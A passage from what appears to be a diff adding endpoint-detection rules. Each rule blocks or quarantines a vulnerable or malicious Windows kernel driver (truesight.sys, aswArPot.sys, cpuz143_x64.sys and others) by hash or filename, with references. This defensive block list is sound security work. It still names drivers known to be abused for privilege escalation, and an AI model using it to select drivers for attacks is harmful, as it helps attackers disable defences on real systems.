+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832169Z",
+  "creation_date": "2026-03-23T11:45:30.832171Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832177Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cc871d60b9e47e6f3b41abdbc43e7754888d9c72e11877188919582cbba266a8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "49722c51-7f78-546d-925b-fc93bab9f384",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817714Z",
+  "creation_date": "2026-03-23T11:45:30.817718Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817727Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8fe475d3082a0226ae9fa945542ac3e0cb5214c0f44193dcff12514cadf52101",
+  "comment": "Vulnerable Kernel Driver (aka dellbios.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "497b38a1-ddad-5c72-9e6f-3f2f3277a6d6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809901Z",
+  "creation_date": "2026-03-23T11:45:31.809903Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809910Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b411b159a3b4de03f801fe44f1712a5881f8ed9640cae3ac1a4605972df08ab0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "497f875d-8af8-5196-94ab-af6304af35e3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.476968Z",
+  "creation_date": "2026-03-23T11:45:30.476972Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.476980Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "30accf1de5969ff5bf958786b9c9deb9001d1a19d121aac8b3c92c5b463a087e",
+  "comment": "Vulnerable Kernel Driver (aka libnicm.sys) [https://www.loldrivers.io/drivers/2b949a0d-939f-456a-a34f-4589d7712227/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "499da550-17d7-53bc-9324-ca8bca8375f4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616703Z",
+  "creation_date": "2026-03-23T11:45:29.616705Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616711Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f9c290ffc007e94fb61aecff42d267c1e626ec7939025b1a7d7285441d1c490d",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "49b1d6a8-50bf-5d5b-83f9-a81ce874666d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981093Z",
+  "creation_date": "2026-03-23T11:45:29.981096Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981101Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c0ae3349ebaac9a99c47ec55d5f7de00dc03bd7c5cd15799bc00646d642aa8de",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "49bd1ec5-5af3-5f87-b261-9b4fea7c94df",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.484025Z",
+  "creation_date": "2026-03-23T11:45:31.484029Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.484038Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5339fb0bd4386b1c0606e67b43971737f2758983f745b772975ac04fcad7c6ff",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "49c6d95a-5d8d-5aa7-a881-6f13903df38d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152603Z",
+  "creation_date": "2026-03-23T11:45:31.152605Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152621Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e32cf0b4a39994f1a269d04db6724b5d2561620a0a69ca9e0e9c8e77461ba959",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "49cf91f3-7f95-5919-9f88-573a2a808fba",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982590Z",
+  "creation_date": "2026-03-23T11:45:29.982592Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982598Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "954789c665098cf491a9bdf4e04886bad8992a393f91ccbca239bff40cc6dca6",
+  "comment": "Malicious Kernel Driver (aka daxin_blank5.sys) [https://www.loldrivers.io/drivers/0590655c-baa2-481a-b909-463534bd7a5e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "49e9e1a8-d3fd-5fef-aa68-c03650b99b6b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611481Z",
+  "creation_date": "2026-03-23T11:45:29.611483Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611488Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "16398965e9cea179b2e5ca884e3af032dece08d4ef33bdd83234ee441d71a5fa",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "49f7cb42-d428-552d-ac24-0675ceadd54c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619405Z",
+  "creation_date": "2026-03-23T11:45:29.619407Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619412Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ed68f30f8246730c2b57495ed1db1480350d879b01d070999d35f38630865f5c",
+  "comment": "Realtek vulnerable driver (aka rtkio64.sys, rtkiow10x64.sys and rtkiow8x64.sys) [https://github.com/blogresponder/Realtek-rtkio64-Windows-driver-privilege-escalation] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "49fa907d-46c3-5f32-ac96-4dc766ff34b3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607112Z",
+  "creation_date": "2026-03-23T11:45:29.607114Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607119Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "filename",
+  "value": "PROCEXP152.SYS",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "49fd9125-5efd-5e05-b079-f1e2d3104437",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612300Z",
+  "creation_date": "2026-03-23T11:45:29.612301Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612307Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1a4f7d7926efc3e3488758ce318246ea78a061bde759ec6c906ff005dd8213e5",
+  "comment": "ASUS WinFlash vulnerable driver (aka ATSZIO.sys and ATSZIO64.sys) [https://github.com/Chigusa0w0/AsusDriversPrivEscala/blob/master/ATSZIO.md] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4a20e869-0796-5ca6-b994-d781bb8ef324",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831290Z",
+  "creation_date": "2026-03-23T11:45:30.831292Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831298Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "789854191b0b6550656d0f5f939fb8213ac3d7e32620fe794af66f529819a197",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4a3da3a0-1dec-5a35-ba5b-100979e858a1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610655Z",
+  "creation_date": "2026-03-23T11:45:29.610657Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610662Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "900dd68ccc72d73774a347b3290c4b6153ae496a81de722ebb043e2e99496f88",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4a492d3a-efd6-51b0-9877-4bc191f4e884",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142452Z",
+  "creation_date": "2026-03-23T11:45:31.142454Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142459Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0b112d137a73e931e1eac4d66d981cc5750e095741a97970bc37e4063b6edbc0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4a4a32c4-64ce-502b-be9c-7516978f4d6f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968648Z",
+  "creation_date": "2026-03-23T11:45:29.968651Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968656Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6521a35800da601f76fe2a8270f6cac17eb491535abf362669f4e2e6c8e155f7",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4a5ba789-a8da-5098-a952-17498fff2d31",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832606Z",
+  "creation_date": "2026-03-23T11:45:30.832608Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832613Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3d30609e8e3519fe199762adfc696ccccd9b685a7377ca18addd342c15fa28c6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4a65b4cf-74fe-5492-849f-706b49a8f0ff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968686Z",
+  "creation_date": "2026-03-23T11:45:29.968688Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968694Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6fb5bc9c51f6872de116c7db8a2134461743908efc306373f6de59a0646c4f5d",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4a6d894d-a175-5fbf-b094-963679cf16dd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.821106Z",
+  "creation_date": "2026-03-23T11:45:30.821109Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.821118Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "386745d23a841e1c768b5bdf052e0c79bb47245f9713ee64e2a63f330697f0c8",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4a6e72cd-c4a9-5f80-8082-15041d7ffcb4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606505Z",
+  "creation_date": "2026-03-23T11:45:29.606507Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606512Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fa959c48c055ec149d434a5adeb9f9938d1c260a65ee8a4ea1d67bfbdceab83f",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4a7b1e46-04f3-59d2-a30e-bdf5132eff22",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.471597Z",
+  "creation_date": "2026-03-23T11:45:31.471600Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.471609Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cb53959c71aa4cc446e6424b17440292c77d6c7fa88ce9503670a0a0cbe8ccb7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4a89f099-894f-5d46-8871-bbed0765c18b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981454Z",
+  "creation_date": "2026-03-23T11:45:29.981456Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
